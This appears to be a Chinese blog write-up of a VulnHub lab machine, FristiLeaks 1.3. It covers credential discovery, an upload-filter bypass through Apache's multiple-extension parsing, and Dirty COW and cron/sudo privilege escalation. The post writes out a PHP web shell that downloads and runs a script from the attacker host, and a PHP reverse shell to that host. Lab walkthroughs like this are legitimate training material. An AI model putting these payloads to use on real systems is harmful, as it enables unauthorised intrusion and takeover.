vulnhub渗透系列之FristiLeaks: 1.3

我是啊锋,一个努力的学渣,作为一个刚进入安全大门的小白,我希望能把自己所学到的东西总结出来,分享到博客上,可以一起进步,一起交流,一起学习。

实验过程总结

1.该靶机安装好后自动提示了IP地址,所以直接探测存活的端口就行,发现与以往不一样的是它只开放了80端口,nmap同时也扫出来cola/sisi/beer三个目录。
2.进入80端web页面,登录到cola/sisi/beer发现图片提示主要观察发现,于是在原来的页面发现了fristi是个登录页面。
3.进入fristi登录页面查看源码,发现用户名和base64将base64解密并转换为图片形式发现密码
4.登录后是一个上传页面,并且中间件是apache的2.2版本,可能存在多后缀名解析漏洞,于是文件上传然后抓包添加后缀jpg,发现可绕过,用php反shell然后配合脏牛提权即可拿下靶机
5.当然,为了学多点东西,我还尝试了另外一种提权的方法。


渗透攻击复现

按照作者提示要求设置虚拟机的MAC地址 08:00:27:A5:A6:76
在这里插入图片描述
靶机的IP这次也显示出来了
在这里插入图片描述
Nmap -A 192.168.0.121
发现靶机只开放了80端口,Apache服务器版本是2.2.15,并且探测出三个目录:/cola、/sisi、/beer
在这里插入图片描述
于是利用探测出来的目录一探究竟但发现都是一张图片,也没有什么可以突破,但从图片上的提示说,这不是一个url连接,你还需要去寻找,或许在本页面就有提示
在这里插入图片描述
于是在80端的页面下发现了/fristi/这个目录,于是登录进去
在这里插入图片描述
登录进去后发现被嘲笑了,但页面提示了一个admin、于是尝试弱口令和万能密码登录,发现登录失败,事情并没有那么简单
在这里插入图片描述
查看页面源代码发现了提示

by eezeepz(可能是用户名
We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it
(提示:我们对图像使用base64编码,因此它们在HTML中是内联的)
并且在下方发现base64

在这里插入图片描述
在这里插入图片描述
于是我先把绿色字的base64先复制到kali的root目录下一个文本
在这里插入图片描述
解密发现是个png文件,于是转换成图片查看发现是一串字母
在这里插入图片描述
在这里插入图片描述
很可能这一串字母是密码,结合之前发现的用户名,猜测账号密码组合应该是这样

用户名:eezeepz
密码:keKkeKKeKKeKkEkkEk

在这里插入图片描述
不知道为什么,我的靶机突然宕机了,我也觉得很奇怪,只能重启一下,ip变成了192.168.0.122
在这里插入图片描述
赶紧用账号密码登录。
在这里插入图片描述
登录成功后发现是个文件上传页面
在这里插入图片描述
利用写好的一句话马子上传,但发现限制了上传的格式
在这里插入图片描述
结合apache 2.x版本的多后缀名解析漏洞绕过上传
在这里插入图片描述
提示了已经成功上传到uploads文件目录下
http://192.168.0.122/fristi/uploads/feng.php.jpg连接菜刀,成功
在这里插入图片描述


提权

思路一:用php反shell的方式在kali上得到控制权,然后尝试脏牛提权

有了上一个靶机的经验,所以这次上传的图片名字都为shell192.168.0.99是我kali的IP

<?php system("wget 192.168.0.99/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>

在这里插入图片描述
还是老方法,kali下的root目录早已经放置好的脚本

<?php $sock=fsockopen("192.168.0.99",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>

在这里插入图片描述
然后开启轻型服务器,搭建轻型服务器也很简单,有两种方法

apache的/etc/init.d/apache2 start
python -m SimpleHTTPServer 80

在这里插入图片描述
同时kali开启nc监听
在这里插入图片描述
然后把准备好的shell.php文件上传burp抓包添加后缀jpg
在这里插入图片描述
然后访问http://192.168.0.122/fristi/uploads/shell.php.jpg,kali端即可接收shell
然后python交互tty,脚本为python -c ‘import pty;pty.spawn("/bin/bash")’,

在这里插入图片描述
尝试脏牛提权:
Exp下载https://github.com/FireFart/dirtycow
下载好之后把dirty.c拉到kali的root文件夹下

因为我的轻型服务器还没断开,而且是靶机的一个低级权限,所以要在靶机上下载这个dirty.c文件wget http://192.168.0.99/dirty.c -O /tmp/dirty.c
在这里插入图片描述
当然,因为是下载到tmp目录下的,所以要切换到tmp目录才能进行编译
在这里插入图片描述
好了之后可以进行gcc -pthread dirty.c -o exp -lcrypt(编译命令
./exp feng (使用exp,后面的feng是密码,你喜欢也可以换其他)
在这里插入图片描述
此时超级管理员用户已经是更改成firefart了,只需要切换即可
在这里插入图片描述
Ok了,最高权限,可以为所欲为了。拿flag
在这里插入图片描述


思路二:

反shell之后,kali得到控制权,然后cd到home目录下查看,发现有三个用户
在这里插入图片描述
切换到admin,发现没有权限,但可以cd 到eezeepz
在这里插入图片描述
Ls- la发现一个txt文件
在这里插入图片描述
在这里插入图片描述
翻译大意

我让你可以做一些自动检查,但是我只允许您访问/usr/bin/*系统二进制文件。我所做的然而,复
制一些额外的经常需要的命令到我chmod, df, cat, echo, ps, grep, egrep,你可以使用它们
从/home/admin/不要忘记为每个二进制文件指定完整的路径!只需在/tmp/中放入一个名为
“runthis”的文件,每行一个命令。的输出到/tmp/中的文件“cronresult”。它应该用我的帐户特
权运行每一分钟。

意思就是要执行如下命令

echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > /tmp/runthis

然后cat /tmp/cronresult
在这里插入图片描述
查看当前目录,然后就可以切换到admin目录了
在这里插入图片描述
Ls -la后cat查看到两个base64码

=RFn0AKnlMHMPIzpyuTI0ITG
mVGZ3O3omkJLmy2pcuTq

在这里插入图片描述
同时也发现一个加密的脚本
在这里插入图片描述

import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

我们尝试逆转这种完全安全的加密机制,脚本如下

import base64,codecs,sys

def decodeString(str):
  rot13string = codecs.decode(str[::-1], 'rot13')
  return base64.b64decode(rot13string)

print decodeString(sys.argv[1])

把脚本保存到root目录下
在这里插入图片描述在这里插入图片描述
解密为:

LetThereBeFristi!
thisisalsopw123

根据前面所得资料,用户名为admin eezeepz fristigod
密码提示也很明显了Let There Be Fristi!
所以直接尝试这个组合fristigod LetThereBeFristi!
在这里插入图片描述
但登录后发现并不是root权限,查看一下使用命令的记录直接history就可以了
在这里插入图片描述
发现都在用sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom这条命令去执行一些东西,但摸索了很久还是不懂怎么提权。后来看到了大佬们的做法,就是这条命令后加上/bin/bash就能提权了
在这里插入图片描述

发布了39 篇原创文章 · 获赞 75 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/weixin_41598660/article/details/104200558
1.3
今日推荐